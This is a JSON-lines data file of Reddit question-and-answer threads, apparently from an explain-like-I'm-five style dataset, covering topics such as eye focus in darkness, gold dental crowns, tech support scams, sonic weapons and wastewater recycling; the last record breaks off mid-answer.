{"q_id": "9gkzp0", "title": "When staring into complete darkness do your eyes focus on infinity or are they unfocused?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9gkzp0/when_staring_into_complete_darkness_do_your_eyes/", "answers": {"a_id": ["e654c7a", "e65m72d", "e65t5wa", "e664fda", "e66gr2q", "e66i22p"], "score": [5807, 300, 51, 3, 6, 3], "text": ["Optometrist here.\n\nIn complete darkness the eyes almost fully relax their focus (accommodation). Some amount remains, known as tonic accommodation, which varies from person to person. This is inherent to the person's visual system and present unless they are dead!\n\nNote that focussing on infinity and fully relaxing the focus are, in terms of accommodation, the same thing.\n\nAccommodation is the system by which the eyes move their focal point closer to the body e.g. to read. At optical infinity no accommodation is required and the system is, in theory at least, fully relaxed. Is this the type of focus you meant?\n\nVergence is the system by which the eyes move closer together to point at a near object. This works a bit differently, though the two, along with pupil dilation, are linked in terms of the nerve supply.", "In flight training there is the idea of 'empty field myopia'.\n\n\nIf you are looking out into an empty sky, paying attention (looking out) but not focusing on anything in particular the eye will focus at around 1-2m.\n\n\nThis can be an issue so the training suggests looking at a cloud, a landmark, even the edge of the wings to avoid bringing focus in and hence missing another aircraft in the sky due to the short focus.\n\n\n", "When you close your eyes for sleeping as an example the relaxed position of your eyes is up and out, any stimulus that could make the eye move is supressed to allow rest. This is why as you wake up in the morning the first thing you notice is a brief moment of dyplopia (seeing double). Your eyes are looking far off to each outer orbital corner and they re align again in that moment.\nWhen you stare into complete darkness there is something called focused into infinity. Which means the main focus of both eyes goes paralel from each other, and keeping the muscle tone balanced (so each eye doesnt loose alignment) \nBut as it is in complete darkness there are other optical mechanisms taking place. In darkness the magnocelular portion of the nerve fiber layer in the retina gets stimulated and you start sensing small stimulus of shape and movement across all the outer retina region ( this is useful for staying in alert by paying attention to the corners of your vision rather than detail) as you pay attention more to this rather than focusing eyes the eye starts a divergence stimulus (very small and weaker than a convergence stimulus) and starts causing misalignment,thats why in darkness we feel small movement stimulus which are not real ( sometimes after i shut the lights and go to bed i stared at the ceiling and i feel like the ceiling is moving) because the eye tends to diverge and creating a small misalignment.\nAs to why the eyes goes up and out to rest is because of how the muscles are inserted on the eyeball,the muscles coming from the back of the orbital area travels in 45 degree angle from the center of the head. but they insert on the eyeball in a 23 degree angle from that 45 angle so in order to maintain the eyes alignment they always have to have a minimun muscle tone to keep looking up front.\nSorry english is not my native language but i hope you can understand it.", "it depends if you are actively trying to focus on something or not. You can manually unfocus or focus your eyes you do realize. The issue is that in utter darkness you pupils will be very large, and you will not have anything to actually focus on, so you will quickly find that your eyes tend towards the relaxed, unfocused state. ", "Maybe it's similar to pilots in aircraft - a big empty field of view but you're looking for other aircraft...  see and avoid etc.  We tend to focus pretty close though when there are no visual cues.  Maybe 20 to 50 meters? It's a well known problem so you're taught to make yourself focus out into the distance.", "The muscles that you use to focus close up are under voluntary control. As a simple experiment, I have no trouble closing my eyes and repeating the muscle effort that I make to focus up close and then relaxing them again. So, strictly speaking, in complete darkness, you can focus wherever you wish to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1ircgz", "title": "How exactly did Europeans bring livestock to the Americas?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ircgz/how_exactly_did_europeans_bring_livestock_to_the/", "answers": {"a_id": ["cb7axl6"], "score": [3], "text": ["Some animals, such as pigs and chickens, can be brought on ships as deck cargo. Most often they would be brought as a source of fresh food for the sailors. \n\nHorses don't travel well at sea. Generally they have to be transported in a sling because otherwise they will die. Large ships with wide hulls were sometimes co-opted  by armed forces as horse transports. Horses could be disembarked with a ramp. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "clvwdq", "title": "when and how did gold teeth become used in dental work? arent there more practical things that could be used?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/clvwdq/eli5_when_and_how_did_gold_teeth_become_used_in/", "answers": {"a_id": ["evy5uu8", "evy65lj", "evyfi9t", "evyhggr", "evyj8cb", "evyjfeu", "evykhg4", "evz19fm", "evz4xa4", "evzaxmk", "evzfzik", "evzheug"], "score": [33, 1158, 12, 26, 125, 3, 11, 2, 2, 2, 3, 2], "text": ["Currently gold is (mainly) only used because it's expensive and showy, but back when dentistry was emerging, gold was readily available, non toxic, soft enough to shape easily, but tough enough to chew with, it's also very rust resistant and I'm sure that the fact that it's non ferrous is good too. \n\n[Wikipedia](_URL_0_)  \n > Gold wire was used in dentistry in ancient times, and for filling cavities in the 19th century.\u00a0The material is suitable for dentistry because it is malleable, nearly immune to corrosion, and hard enough to form a biting surface that can be used for years.\u00a0Gold was used before silver became available and has continued to be used for specialized purposes.", "Gold is unreactive. \n\nThe last thing you want is your tooth to rust or dissolve. Gold is so unreactive it doesn't even have a flavour.\n\nIt's also valuable so can be seen as a display of wealth. \n\nThere are more practical things, and they're generally what your dentist will use today. Silver amalgams, plastic, ceramic or special types of glass are used today for fillings and dentures.", "Before advancements in dental materials, gold was used because of its accessibility and biocompatibility.  Also, it being a soft dental alloy, it was not harmful to opposing dentition.  There are other materials available now days that are less expensive and more aesthetic.  Full Gold Crowns have been replaced by Zirconia Crowns.  Yet, there are still situations where a full metal crown is applicable.\n\nWhen your dentist removes tooth structure to make room for a crown, there are specific thickness's needed to make room for different types of restorations.  For example, a Porcelain Fused to Metal crown.  The doctors know they need to make room for .3-.5mm for metal, .2mm for opaque ceramic to block out the grey metal, and .5-1mm of porcelain.  But sometimes there just isn't enough enamel or dentin to make enough room.  So a gold crown being only one material with a minimum thickness of .5mm will suffice.  Or, a harder metal made of nickel or chrome cobalt at .3mm thickness.\n\nThe different types of restorations available all have manufacture specified recommended thicknesses.  And the doctor needs to follow these guidelines or the restoration may fail.", "I am in my late 50's, when I was in college I went to a dental college and they gave me a gold crown on a molar. A dental student's graduation requirement, I think dentists had stop using gold by then. Over the years I was embarrassed by it, looked like I was from the old country. Since then I have had an expensive crown or two more and a few invisible fillings. I have had a few problems/replacements with these, but the gold crown has been problem free.", "Gold dental restorations are the (pun intended) gold standard.  There are wonderful advancements happening all the time in dental materials but the old adage is still true: If it's ugly, it will last (gold, silver amalgam) If its pretty, it will need to be replaced someday.  There isn't another material with the same biocompatibility of dental gold alloy: non-reactivity, similar coefficients of wear, expansion, etc. as natural tooth.  There is no true replacement for natural enamel.  No such thing as good as new.  It therefore makes sense to remove as little tooth material as possible: make an inlay or onlay instead of a full crown.  Gold is the very best material for partial coverage restorations and partial coverage restorations are the epitome of dental bioengineering.\n\nDisclosure: I am along with most everyone else in my family, in the in the dental field.\n\nNote: with all my dental family members, time and money are not considerations when getting dental work.  We can get whatever we want, whenever we like.  All of us choose partial gold restorations for our molars.", "It was a common thing among sailors over the last couple hundred years or so to have a gold tooth. If they died away away from home, their gold tooth could pay for a burial. As opposed to being thrown overboard the deceased would be buried at the next port.", "Except for color and cost gold is the perfect material for dental use. \n\nA) gold doesn\u2019t rust or degrade in a wet environment with varying PH of materials passimg through(the mouth), few materials can remain perfect in such a place for decades. \nB) gold does not taste to the patient so it does not effect enjoyment of eating (try sucking on a penny)\nC) gold can be cast with very fine tolerances at a lowish temperature and will hold its shape even when it is quite thin. This means one does not have to cut away much tooth to prepare a crown. \nD) gold is ductile, meaning it deforms under pressure so it doesn\u2019t wear opposing teeth. \nE) gold isn\u2019t rare, it has been used by humans for thousands of years and finding craftsman who could use the material was not a problem", "Gold also doesn't discolor, and is around the same price as porcelain.", "Gold is still the material of choice for many countries such as South Korea. In the US, we are all about esthetics. People assume that because it is tooth colored, it is the superior material of choice. However that sometimes is not the case. It allows us to stay conservative with the amount of tooth structure removal for a crown. It adapts the margins better. It\u2019s more forgiving when it comes to occlusion. If the bite is a little high, over time, the gold is malleable to conform to the bite. If it was zirconia or any other restoration, there\u2019s a higher chance of wearing or fracturing of the opposing tooth or the restoration itself. The gold restoration is not 100% gold. If it were, it\u2019d be too soft. In the US, the trend is moving away from gold, but gold is still being used mainly for 2nd molar crowns and some inlays and onlays where it doesn\u2019t show.", "I've shattered 2 crowns- and the dentist says the only choice I have left is gold. He says it'll be more expensive, because- gold- but I pointed out having two crowns replaced hasn't exactly been cheap either.\n\nOne other point to consider is it is 'softer' than ceramics. He's hoping that that softness will somehow lessen the pressure I put on my teeth while stressing out and sleeping, despite many -a-mouth-guard.", "Gold is still one of the best, if not the best, restorative option for inlays, onlays, and crowns. It's very biocompatible (won't irritate your mouth or corrode much at all), requires less extensive preparation (saves more of your original tooth), and lasts just as long if not longer than newer materials. Porcelain, zirconia, and PFM (porcelain fused to metal) crowns are all harder than your natural tooth structure, so in time will wear the opposing teeth more than natural especially if you routinely clench or grind your teeth. PFM alleviates that somewhat because the metal under the porcelain absorbs some of the force, but gold is still better at this since it's very slightly softer than enamel. Ceramics are also more brittle and prone to fracture than gold, so it's more likely you'll eventually have to replace the crown. Really the only advantage to ceramic crowns is they're tooth colored and look better. Personally if I needed a crown I would probably go with gold. \n\nSource: I'm a dental student studying for my restorative dental materials final.", "A few reasons I can think.\n\n-Gold is very stable (noncorosive) at body tempetures.\n\n-Its easy to work with and is very maluable. \n\n-Its soft enough that it should fit itself to the opposing tooth quickly, without damaging the other teeth.\n\n-Fairly safe I think\n\n-If it gets compressed into a thin layer it still has strength, should keep it from forming cracks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Gold_teeth#History"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3blnfe", "title": "when did pride become a virtue, and why exactly is it grouped with the seven deadly sins?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3blnfe/eli5_when_did_pride_become_a_virtue_and_why/", "answers": {"a_id": ["csn9yyy", "csne8q5"], "score": [3, 2], "text": ["Like ambition, pride can be both a virtue and a vice. Too little pride may make you into a lazy bum who never washes. Too much pride may make you into selfish prick. Moderation is better.", "The \"pride\" referred to in the seven deadly sins is not the kind of pride as in pride in one's appearance, children, accomplishments, etc: it's hubris, that is, an unrealistic overestimation of one's abilities."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6q157u", "title": "eli5:what happens if you never give your child a name?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6q157u/eli5_eli5what_happens_if_you_never_give_your/", "answers": {"a_id": ["dktrfbo", "dktrs6b", "dktt86e"], "score": [32, 17, 13], "text": ["If you don't put a name on the certificate then it will get listed as \"Baby (Surname)\" If you later do name the child then you will have to go to court, and pay the fees, to have the name formally changed. Each state has their own laws about how long the parents have to formally name the child before the default is used.\n\nSome states will use an alternate common name like Jane or John instead of Baby, as this type of issue is more common with abandoned infants than with parents who just aren't sure what to name the child.", "Interestingly, if you don't give your child a name you are violating the  United Nations Convention on the Rights of the Child, for whatever that's worth.\n\n[Article 7](_URL_0_) states that every child has a right to a name and nationality.\n\nLikewise, if the governing body fails to record the child's birth or to assign them a name then they, too, are in violation of the convention.\n", "At a bank I worked at, there was a guy whose account name was under baby. His ID also stated baby. The notes on the account said he went by Kevin. Guess he chose his own name at some point in time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.crin.org/en/home/rights/convention/articles/article-7-name-and-nationality"], []]}
{"q_id": "2g5jbr", "title": "there are scammers who call your house claiming to be windows tech support, say you have a virus on your computer, get your info, and then steal your bank info, and put other malware on your computer. why haven't they been caught yet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2g5jbr/eli5there_are_scammers_who_call_your_house/", "answers": {"a_id": ["ckftnqi", "ckftvsg", "ckfu3e6", "ckfv6bh", "ckfzo7s"], "score": [8, 4, 5, 3, 4], "text": ["They're in another country usually.", "Becuase the people who fall for it generally have no tech savy", "Literally anyone anywhere can do it.\n\nIt's likely better money than the jobless in poor countries are likely to get anyway.\n\nIt's unlikely that anyone will get caught/prosecuted across the world for minor fraud.", "1. Because they're outside of the country.\n2. Because they use blocked/spoofed numbers.\n3. They probably shift around a lot.\n\nA combination of factors like that makes it very hard to deal with them.", "I love these guys... I baited two of them who claimed they were \"from Microsoft\".  One I kept on the line for an hour acting like I had no idea (I work in IT) - making him repeat himself over and over. He guided me to event logs and showed me that the red X's were spyware.  Then took me to a site that hosted their remote control, just a download link to an .exe... I told him I couldn't open it as I was sitting in front of my mac. He called me a \"bad man\" - almost like Babu from Seinfeld.  I then had a friend blackhole that domain for my ISP. \n\nI tried to get him to tell me about the scam - but he wouldn't. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "i1o4g", "title": "How is it that the math of a certain theory (like general relativity) can yield conclusions that are known to be physically impossible? Does this imply that the theory/math of that theory is incomplete in some way or could be improved upon?", "selftext": "It just seems odd to me that a theory could be considered completely consistent with reality, when some of its equations can lead to things that we know aren't possible. I've read on this subreddit that there are solutions to general relativity that are known to have no physical significance (worm holes and such). I thought math was supposed to be the language of the universe. So why can a certain equation lead to things that are consistent with reality 99% of the time, and lead to things that are impossible 1% of the time? WHY does this happen? Is it that our mathematics are incomplete in some way or could possibly be improved upon in the future to eliminate this 1% incorrect outcome?\n\nI'm not criticizing any theory or anything, I'm genuinely curious.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i1o4g/how_is_it_that_the_math_of_a_certain_theory_like/", "answers": {"a_id": ["c205min", "c205q4d", "c205z31", "c205zat", "c2063q9", "c207aez", "c207f55", "c207wj3", "c208cki"], "score": [18, 14, 45, 8, 12, 10, 3, 3, 2], "text": ["The equations are only as good as the assumptions and parameters that go into them. If the assumptions are unphysical, or the parameters are unphysical, you will get unphysical results. ", "You know you can make Newtonian gravity give you a repulsive force, right? Just make one object's mass negative and there you go :)\n\nOf course, this isn't physical, and it's no fault of Newtonian gravity. You just can't have negative mass; the theory won't necessarily implode, it'll just give you funny answers. The equations can be used for good or for ill, it all depends what you put in.", "You have three apples. I take away five. How many apples are you left with?", "I'm gonna regret saying this because of the can of worms this opens, but many unphysical situations arise because our theories are ideal approximations to reality. A lot of infinities can arise if you have idealizations, but reality has natural cutoffs to deal with them. We can indeed improve on our theories, but it makes things harder to solve.\n\n\nThe other piece is what Valeen said, basically if you start with a situation that doesn't happen in this universe and use the laws of physics on them, you'll get something equally unphysical.", "[Math is not the language of the universe](_URL_0_). Mathematics are a set of tools that formalize consistency in calculation and reasoning. One can find the right mathematics that help model specific physical phenomena, but it is a pragmatic relationship, not a metaphysical one.", " > On two occasions I have been asked, \"Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?\" ... I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.\n", "How do you calculate the area of a square? You square the length of one side. One answer.\n\nGiven the area of the square, how do you calculate the length of the sides? You find the square root, which can return two answers.\n\nIn this case, this happens simply because multiple inputs converges into the same answer: A implies B, and C implies B. But given B alone, we cannot work backwards and definitively say \"B implies A\" without a further constraint - in this case, the constraint of positive lengths.\n\nLikewise, if you roll two die, you can add the two numbers and definitively tell me what the sum is. However, if I only tell you the _sum_ of the values on the die, you won't be able to tell me what the individual numbers are with certainty.", "Don't confuse the map with the territory, friend.", "We use math to model the universe. Based on our observations of how the world works, we develop formulas, and from combinations of formulas, calculations are made, and predictions are drawn.\n\nIf math ever predicts something impossible, there may be several explanations:\nThe assumptions were wrong. Incorrect conclusions were reached because measurements were wrong, theories were wrong, etc.\nIt isn't actually impossible. It seems impossible because we don't understand the world well enough.\nIt isn't impossible, but examples of it can't be seen because they are very rare or hard.\nSomeone messed up the math.\n\nMaths is just logic: if you've made the right assumptions and observations, and your reasoning is sound, then your conclusions should be true. If the conclusions seem crazy, then challenge your assumptions, your reasoning, or your view on how the world works."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://philpapers.org/browse/epistemology-of-mathematics-misc"], [], [], [], []]}
{"q_id": "aumyds", "title": "Do different types of trees have different root systems?", "selftext": "Just wondering if some trees have deeper, or longer roots than other trees and why? I'm sure it depends on the climate and type of soil as well, but also on the tree, correct? And is it also true that trees with deeper roots tend to be bigger trees?  Is what you see above the soil indicative of what's going on underneath??  ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aumyds/do_different_types_of_trees_have_different_root/", "answers": {"a_id": ["ehbt3t3"], "score": [2], "text": ["Yes, [different trees do have different root types](_URL_0_). There are variations both between species of tree, i.e. the general growth pattern, and with the environment a particular individual tree grows in. I'm not sure about general trends with root depth and tree size, but [some of the largest trees have very shallow roots](_URL_1_).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.extension.iastate.edu/pages/tree/site/roots.html", "http://sunnyfortuna.com/explore/redwoods_and_water.htm"]]}
{"q_id": "1ocnfx", "title": "What was the US Navy's doctrine in the 1950s and 1960s?", "selftext": "I noticed that around the 50s and 60s, the Soviet Navy introduced a variety of anti-ship missiles for their warships, such as the P-15 used successfully by the Egyptians against Israeli destroyer Elilat. However, I was unable to find any similar US developments; the earliest missile I can find is the Harpoon, which was not introduced until 1977. \n\n* Did the US Navy expect its warships to be able to sink enemy ships without anti-ship missiles? If so, what weapons would its destroyers use, and how did they plan to address the disadvantage in range against Soviet missiles?\n* How would US Navy carrier aircraft attack enemy ships? Would it be difficult to sink ships with contemporary air defense without using air launched anti ship missiles?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ocnfx/what_was_the_us_navys_doctrine_in_the_1950s_and/", "answers": {"a_id": ["ccqt5xz"], "score": [3], "text": ["Carrier aircraft were way more flexible than guided anti-ship missiles: they were reusable, capable of attacking multiple kinds of targets, and had wide-ranging search capability. Early naval SAMs weren't that good, but the US Navy was still perhaps overconfident in its ability to penetrate naval air defenses.\n\nMore important though was the asymmetry the US and USSR faced in their missions. In the event of a land war in central Europe, the Soviets had to sink NATO carriers and disrupt convoys. Large anti-ship missiles were perfect for this, and subs and maritime bombers were good delivery platforms. The US had to protect the convoys from subs and maritime bombers. Neither of these threats would be stopped with anti-ship missiles. The Soviets had not built a force-projecting surface fleet, so sinking capital ships wasn't a US Navy priority.\n\nAs it turns out, the 1980s engagements with Iran showed that the US Navy could handle enemy surface combatants. Paveway laser-guided bombs, Maverick anti-tank missiles, and Standard SAMs were all suitable for the purpose."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "tpl39", "title": "How did hive mentality evolve considering there is only one reproductive female.", "selftext": "I've been curious about this since I took entomology and it was never explained in class (we mainly just studied insects behavior and did field traps to pin the poor little bastards). I understand crossing over would mix up the genes quite a bit, but one of the main points in evolution is to get genetic diversity so I'm at a loss as to how it developed and if its going to go anywhere", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tpl39/how_did_hive_mentality_evolve_considering_there/", "answers": {"a_id": ["c4op9mp"], "score": [2], "text": ["By \"hive mentality\" do you mean eusocial behavior?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "np6ny", "title": "Why is sound not used more as a weapon?", "selftext": "Is it because it is impractical? There are possibly two angles as I see it:\n\n1. obviously the 'loud' angle - i.e. above c. 195dB which supposedly can kill or at least seriously harm humans\n\n2. the 'frequency' angle - i.e. theoretically, if the correct frequency was known, could sound be used to cause a tremor of sorts? (i.e. by causing the foundations of a building to vibrate)\n\nSorry if this is particularly stupid (especially no 2) and I expect one of the answers may be it is simply not viable. But - is there any other reasoning?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/np6ny/why_is_sound_not_used_more_as_a_weapon/", "answers": {"a_id": ["c3aubye", "c3aud21", "c3avkve", "c3aubye", "c3aud21", "c3avkve"], "score": [4, 12, 5, 4, 12, 5], "text": ["[the military is on it](_URL_0_) They already have a version of this for riot gear for cops at G20 events last time it was in Pittsburgh also.", "I used to work in a lab where we developed technology that used highly focused sound to burn tumours and stuff like that. One of the issues is that in order for the energy to be concentrated the wavelength has to be small and thus the frequency high. However, higher frequencies can't travel through air.\n\nBut there are other [sonic weapons](_URL_0_) that aren't used to burn things but instead are just loud. I remember a few years ago these were used to fend off pirates.", "The biggest reason is because the alternatives are more effective and much simpler. [Sonic weapons](_URL_1_) generally require a heavy power source, [are fairly large](_URL_2_), and they get exponentially weaker [as they travel away from the source](_URL_4_).\n\nThat last link goes to LRADs, which send their sonic beam out with a beam angle of 30-degrees. This means that the target needs to be relatively close to your power source.\n\nThere are mixed reports on the effective range of lrads being from [1000 meters](_URL_3_) all the way down to about [300 meters](_URL_0_). Of course, both are probably accurate, as one LRAD could simply be a more powerful device than another, but at 1000 meters, you're going to be effecting an area that may contain a large number of allies, which opens the weapon up to be a large cause of collateral damage from enemies who may be outside of the range of the LRAD taking easy shots at allies who are effected by its beam.\n\nSonic weapons are effectively used by more powerful actors trying to control a substantially weaker enemy, like Navy ships controlling pirates, but if the pirates tried to use an LRAD on a Navy ship, the crew of the ship would easily be able to destroy the pirate ship and be justified in doing so for the act of aggression.\n\nSonic weapons, however, don't usually make for reasonable devices on an actual battleground because under actual war circumstances, it is safer to eliminate a threat than it is to try to humanely incapacitate it.\n\n", "[the military is on it](_URL_0_) They already have a version of this for riot gear for cops at G20 events last time it was in Pittsburgh also.", "I used to work in a lab where we developed technology that used highly focused sound to burn tumours and stuff like that. One of the issues is that in order for the energy to be concentrated the wavelength has to be small and thus the frequency high. However, higher frequencies can't travel through air.\n\nBut there are other [sonic weapons](_URL_0_) that aren't used to burn things but instead are just loud. I remember a few years ago these were used to fend off pirates.", "The biggest reason is because the alternatives are more effective and much simpler. [Sonic weapons](_URL_1_) generally require a heavy power source, [are fairly large](_URL_2_), and they get exponentially weaker [as they travel away from the source](_URL_4_).\n\nThat last link goes to LRADs, which send their sonic beam out with a beam angle of 30-degrees. This means that the target needs to be relatively close to your power source.\n\nThere are mixed reports on the effective range of lrads being from [1000 meters](_URL_3_) all the way down to about [300 meters](_URL_0_). Of course, both are probably accurate, as one LRAD could simply be a more powerful device than another, but at 1000 meters, you're going to be effecting an area that may contain a large number of allies, which opens the weapon up to be a large cause of collateral damage from enemies who may be outside of the range of the LRAD taking easy shots at allies who are effected by its beam.\n\nSonic weapons are effectively used by more powerful actors trying to control a substantially weaker enemy, like Navy ships controlling pirates, but if the pirates tried to use an LRAD on a Navy ship, the crew of the ship would easily be able to destroy the pirate ship and be justified in doing so for the act of aggression.\n\nSonic weapons, however, don't usually make for reasonable devices on an actual battleground because under actual war circumstances, it is safer to eliminate a threat than it is to try to humanely incapacitate it.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Directed-energy_weapon"], ["http://en.wikipedia.org/wiki/Sonic_weapons"], ["http://books.google.com/books?id=6zlXzrtxis4C&amp;pg=PT191&amp;lpg=PT191&amp;dq=lrad+effective+range&amp;source=bl&amp;ots=wEf6wMy8HT&amp;sig=_TyFwrT7lygCz5a3gAfjZQuFCTs&amp;hl=en&amp;sa=X&amp;ei=yxz2Ts-jJI6ctwfxx5TQBg&amp;ved=0CH4Q6AEwCA#v=onepage&amp;q=lrad%20effective%20range&amp;f=false", "http://en.wikipedia.org/wiki/Sonic_weapon", "http://i.imgur.com/KoNfb.jpg", "http://defense-update.com/products/l/LRAD.htm", "http://en.wikipedia.org/wiki/Long_Range_Acoustic_Device"], ["http://en.wikipedia.org/wiki/Directed-energy_weapon"], ["http://en.wikipedia.org/wiki/Sonic_weapons"], ["http://books.google.com/books?id=6zlXzrtxis4C&amp;pg=PT191&amp;lpg=PT191&amp;dq=lrad+effective+range&amp;source=bl&amp;ots=wEf6wMy8HT&amp;sig=_TyFwrT7lygCz5a3gAfjZQuFCTs&amp;hl=en&amp;sa=X&amp;ei=yxz2Ts-jJI6ctwfxx5TQBg&amp;ved=0CH4Q6AEwCA#v=onepage&amp;q=lrad%20effective%20range&amp;f=false", "http://en.wikipedia.org/wiki/Sonic_weapon", "http://i.imgur.com/KoNfb.jpg", "http://defense-update.com/products/l/LRAD.htm", "http://en.wikipedia.org/wiki/Long_Range_Acoustic_Device"]]}
{"q_id": "7ttpl5", "title": "how does one become ceo of multiple companies?", "selftext": "Mr. Sergio Marchionne is the CEO of Ferrari, Maserati, Fiat in addition to many other industries. How is it possible to juggle all this.\n\nBesides, isn't it a breach of information for competitors like Maserati and Ferrari to have the same CEO?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ttpl5/eli5how_does_one_become_ceo_of_multiple_companies/", "answers": {"a_id": ["dtff7wy", "dtfqctq"], "score": [3, 3], "text": ["Well if i start 3 companies and make my self CEO, i will be CEO of multiple companies. Just look at Elon Musk", "My company is technically made up of 22 separate \"companies\" as well run by one CEO. However, each branch has its own set of executives and operating staff regionally depending on where they operate. They all report to one guy, but he doesn't physically deal with each of them on an individual level. He has people for that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2qg11y", "title": "what is stopping me from laying claim on a planet in our solar system?", "selftext": "i'm not a lawyer (obviously), so i was wondering what if any laws were in place keeping me from laying some form of claim to the land of, for instance mars, and registering it as my own property? \n\ni know that if nasa ever landed there in person, i wouldn't be there to prevent them from seizing it for themselves, i know about those laws. but why can't i lay claim now?\n\nhonestly, i kinda just want to be the guy in court next to a prosecutor who is indicting nasa for trespassing on my planet.\n\nTL;DR- i wanna own a planet.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qg11y/eli5_what_is_stopping_me_from_laying_claim_on_a/", "answers": {"a_id": ["cn5qqvq", "cn5qxya", "cn5r159", "cn5r1tq", "cn5s0b6", "cn5sb9u", "cn60a8c"], "score": [16, 49, 3, 4, 2, 3, 2], "text": ["Planets are considered the \"common heritage\" of all men, as part of a treaty that exists - look up \"Outer Space Treaty\", such that no man can lay claim to any body in space currently.", "Enforcing said claim?", "Whether a treaty exist or not, I think your biggest problem would be defending your planet from other people who want it. ", "In international law, to claim sovereignty over a territory requires occupying it. If you aren't occupying Mars, you can't claim its sovereignty.", "It's a question of enforcement. \n\nEven if you have a completely legitimate claim if you haven't got the fire power to defend it. Then your claim is worthless.\n\n1842 Hong Kong was like this. The British empire had more guns than China. By 1997 China had more guns than Britain.\n\nSimilar to Diego Garcia. The Islanders were banished from the territory 'for their own safety' since then the USAF have built a big airbase on it. The Diego Garcians want it back. The British (government) laughs at them and their non existent military.", "You can make the claim at any time. The issue is recognition and enforcement. There is a treaty that will prevent most any spacefaring country from recognizing your claim, not to mention that you aren't important enough for them to care anyway. Also since you cannot get there you cannot stop others from landing so there is no teeth to your claim.", "Tax wise the government already owns Uranus, so you'll have to pick a different one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "dnddly", "title": "does the water i flush down my toilet or bath in ever become drinking water? how does this happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dnddly/eli5_does_the_water_i_flush_down_my_toilet_or/", "answers": {"a_id": ["f59quzb", "f59r2bi", "f59rgfu", "f59rq0y", "f5a0nfb", "f5a4gny", "f5a8rqi", "f5aklp2", "f5akpgm", "f5akpqh", "f5an07c"], "score": [8, 41, 730, 22, 82, 2, 7, 2, 2, 2, 2], "text": ["The water, yes. The other crap in the water such as poo, toilet paper, bacteria and toxins, no. The water from your toilet is thoroughly filtered both through several man made techniques as well as by the nature as it is being released into the water stream. Most of it will end up in the ocean before seeing another person again and from the ocean it will get evaporated before becoming rain and ending up in your water supply again. So anything you flush down with your water will be filtered out, sterilized and broken down.", "Yes, but typically not in your own home. Used water flows out of your house and into the wild, then into a reservoir of water treatment. The water is first treated by a chemical process that filters out big chunks of waste and causes them to clot together, then the water gets filtered for smaller things. The water then gets disinfected which kills bacteria in it. This water then goes to be stored in towers etc and is reused for other peoples drinking water.", "Yes and no. Depends. But yes. \n\nMost places treat the water so that it is clean enough to drink* and dump it back into the watershed. This is because people tend to get upset about the idea of drinking toilet water, regardless of how much it has been cleaned. \n\nA few places where water is becoming scarce, like parts of California, are recycling cleaned water directly back into reservoirs for use. People are not entirely happy about it but hey, drought. Deal with it. \n\nUltimately, though, all water is recycled. That's kind of the whole water cycle thing. Water used upstream gets used again downstream. Water in the ocean evaporates and ends up back upstream.\n\nEdit: u/garysai made a good point. I should have said that the water isn't made clean enough to drink, it's made as clean or cleaner than it was when it was pulled from the watershed to be used the first time. So, if you're getting your water from a river, the water going back into the river is at least that clean.", "A lot of the water you drink at one time passed through the kidneys of a dinosaur. Water has been around.", "Just to clarify, several of the posts say wastewater plants clean up water to drinking water quality.  That is usually not the case. Discharge limits are typically set so that the there is minimal, non-detrimental impact to the receiving waters but the discharge would not meet drinking water standards.  In some areas where water supplies are extremely limited, there have been wastewater plants set up to produce drinking water, Singapore for example.  Source-40 years in water treatment in US.", "You can actually drink the water at the top of the toilet. Just pop the lid off and yum yum.", "I'm going to try and give you a relatively detailed response. We'll see if I succeed. I'm just going to talk about my area.\n\n\nSo let's begin with you taking a dump. You flush the toilet and runs into the sewer drain and by gravity runs to the lowest point in that particular run. It just so happens that that particular point is not the wastewater plant, so it collects into a cistern and is then pumped into a pressurized pipe where it is forced to the plant.\n\n\nNow that it's at the plant it meets up with everybody else is wastewater and it passes through a large screen, this is going to catch the bigger debris, like basketballs or whatever. now it's going to pass through a second screen, and this one's going to filter out the majority of the solid things. So whatever wet wipes didn't clog the pumps, huge nests of hair, condom balloons, tampons and pads like crazy, tangles of rags, baseball sized chunks of 